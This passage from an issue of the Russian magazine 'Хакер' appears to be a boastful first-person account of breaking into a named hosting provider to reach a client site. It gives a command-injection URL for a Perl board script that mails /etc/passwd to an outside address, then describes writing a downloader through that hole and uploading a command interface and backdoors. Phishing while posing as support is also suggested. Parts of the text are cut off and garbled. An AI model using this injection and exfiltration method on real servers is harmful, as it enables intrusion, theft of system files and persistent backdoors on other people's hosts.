книги хакеры / журнал хакер / 030_Optimized

1.Запустить с шелла переборщик (brute force attack) и, попивая пивко, дожидаться результатов, которые можно будет ощутить лишь в день собственного 60-летия, если у юзера пароль типа #&ghK%Wb.

2.Понадеяться, что человек ни разу в жизни не слышал слова “троян”. Искусно составить письмо юзеру, прикинувшись техподдержкой провайдера или Microsoft’ом :).

3.Написать: “Отдай пароль по-хорошему, или лицо погрызу”.

4.Определить где хостится reklamist.com, купить там же хостинг (или сломать), зарутить, поставить сниффак и получить пароль и/или всю переписку. По пути домой в моей голове был запущен про-

к. купить хостинг за CC не представлялось возможным. Начался внешний осмотр. Изучив через браузер majordomo.ru, среди сервисов предоставляемых компанией не был найден telnet или ssh. Значит, шеллы они юзерам не дают - это усложняло задачу =(. Лениво тыкнув пальцем в свой универсальный сканер (тогда использовал Necrosoft Nscan под Win32),

я обнаружил, что хосты majordomo.ru и reklamist.com имеют одинаковые IP, из чего полу- чалось, что работала система vhosts - виртуаль-

Я стал телнетиться на каждый из этих портов по очереди. На 21 порту был ProFTP 1.2.0pre10 - эксплоита для которого не было с 25, 53, 80 и 110. Все было ясно, как божий день. Однако 1022-й меня интересовал больше остальных. Сама цифра 1022 вызывала интерес, ведь на 22 порту у нормальных людей ssh, которого здесь не было - чуешь, чем пахнет? Кидаю коннект к этому порту, и верно - там ssh 2.0, который впоследствии очень пригодится. С демонами облом - ловить там нечего, но зато я собрал массу полезной информации на перспективу :). Заканчивалась третья бутылка, а результата толком не было! Оставалось изучить cgi’ки клиентов. Единственным пока известным мне клиентом был сам reklamist.com, его я и начал рыть.

CGI èç ÏÍÄ

У жертвы выявилась бесполезная рассылка, борда и еще какие-то мелкие скрипты. Естественно, сразу заинтересовала борда... Ты, конечно, подумал, что там оказалась трахнутая во все порты UBB? И на фиг я тебе все это тут тележил так долго, гиббон я мохнатый и все такое? Нет, малыш, там все более запущено оказалось :). Это не была одна из свободно распространяемых досок, видимо, ее кто-то сам писал. Я не знаю, о чем думал этот горе-прог- раммер в момент написания своего творения, но при желании через него (творение) можно было процеживать макароны - настолько дырявым оно оказалось. Я просто увидел урлы, указывающие на темы обсуждений, выглядевшие примерно так:

h t t p : / / r e k l a m i s t . c o m / c g i - bin/board.cgi?action=read&theme=2345.txt

Эта оригинальность мне понравилась, было решено испытать на прочность, и исправленный урл, заимел следующий вид:

h t t p : / / r e k l a m i s t . c o m / c g i - bin/board.cgi?action=read&theme=cat /etc/passwd|mail hacker@nitrogear.org|

Не прошло и минуты, как мне в мыло упал файл

паролей. Конечно, как ты сам понимаешь, паролями там и не пахло - они были оттенены в shadow. Но даже если мне удалось бы достать и его, то на расшифровку ушла бы уйма времени. Здесь необходимо пояснить немного. Дело

âтом, что когда видишь такой урл, трудно не понять: главное содержимое дискуссии берется из файла 2345.txt, а затем уже запихивается

âhtml. Следовательно, в коде использовалась процедура open() для открытия этого текстовика. А неправильное использование сего всегда влечет за собой возможность исполнения команд. Код был примерно таким:

....

open(FILE, $thread_file);

while(<FILE>) {

....

}

close(FILE)

....

Содержимое входного параметра theme помещалось в переменную $thread_file и без всяких проверок передавалось процедуре open(), которая, к тому же, использовалась без предупреждающего условия. Т. е. написано было безграмотно до безобразия %). И теперь, подставляя команды в параметр theme, оканчивая строку символом “|”, я передавал их на выполнение, и никаких срывов в работе скрипта не возникало. Итак, через эту же дыру был вытащен конфиг vhosts со списком всех доменов, снабженный инфой о том, в каких они папках на сервере расположены.

Продолжая выполнять команды, я выяснил, что сервак стоит на FreeBSD 3.2 STABLE, что там порядка 80 клиентов, что у web-сервера права того юзера, чей домен, и что lynx’a нету. Последнее изрядно угнетало - закачивать свое файло было нечем. Пришлось писать его упрощенный аналог... За этим занятием пиво окончательно закончилось. В итоге получился маленький скрипт, который умел брать урл из параметра down и выкачивать его в текущую директорию сервера, binary и ascii режимы переключались через параметр mode. Закачать его на сервак не представлялось возможным, поэтому весь код выстроился в одну строку. Далее, через баг в борде, замешанный на команду echo, я сунул эту строку в файл lynx.pl. Поставив на него атрибуты выполнения chmod 755 lynx.pl, я принялся за активную работу - закачал свой достаточно емкий, но удобный интерфейс для выполнения команд и пару бэкдоров.